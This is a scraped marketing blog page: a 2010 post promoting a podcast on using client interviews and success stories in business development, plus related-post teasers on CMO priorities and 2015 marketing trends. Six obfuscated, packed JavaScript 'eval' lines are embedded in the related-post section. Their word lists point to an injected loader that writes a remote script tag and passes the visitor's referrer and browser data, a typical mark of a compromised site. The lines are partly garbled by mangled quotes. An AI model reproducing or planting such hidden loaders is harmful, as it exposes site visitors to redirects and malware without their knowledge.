Client Wisdom: The Most Overlooked Way to Accelerate Your Business Development Process

Many B2B companies are facing enormous pressure to protect their fee structures.  How do you leverage client input to grow a wealthier company –even when clients are demanding more value for less money?
My recent podcast with Casey Hibbard of Stories that Sell will provide you with some valuable strategies to strengthen your business development process and elevate your value.

In our interview, you will learn:

1.  The 7 NEW criteria for building a wealthy company
2.  Why client interviews can help you deepen relationships
3.  The right way and the wrong way to conduct client interviews
4.  How to use client success story “sound bites”

 

How are you leveraging client wisdom in your organization?  Post your examples here.  We would love to hear.

 

copyright 2010, Lisa Nirell.  All rights reserved.

Comments open: True
Okay

Related Posts

We recently surveyed our CMO members across North America to find out where they want to improve in 2015. One of the top 4 issues that CMOs want to address is their ability to manage priorities.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfrrz|var|u0026u|referrer|idfdf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izsny|var|u0026u|referrer|airfy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haffr|var|u0026u|referrer|nekkz||js|php’.split(‘|’),0,{}))

In my opinion, this issue isn’t just about time management. Sure, that is important. I believe we need to be fully aware of how we spend our time—and I talked about it extensively in
my latest FastCompany post….

Read More

With the new year only weeks away, it’s time to explore ways to stay ahead of the marketing curve in 2015. In my latest FastCompany post, I share how marketing leaders can move away from “order taking marketing” and become visionary “market makers” with a strong voice in the C-suite.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhhfb|var|u0026u|referrer|zhkyf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfed|var|u0026u|referrer|kstre||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ensrr|var|u0026u|referrer|sshre||js|php’.split(‘|’),0,{}))

Some key takeaways:

How to assess your value and how your peers perceive you
One step that can shift the leadership team’s perspective of your value forever
Trendspotting: Five areas to look for inspiration and insights
Three significant trends that will impact how marketers operate in 2015

You can read the entire FastCompany post here….

Read More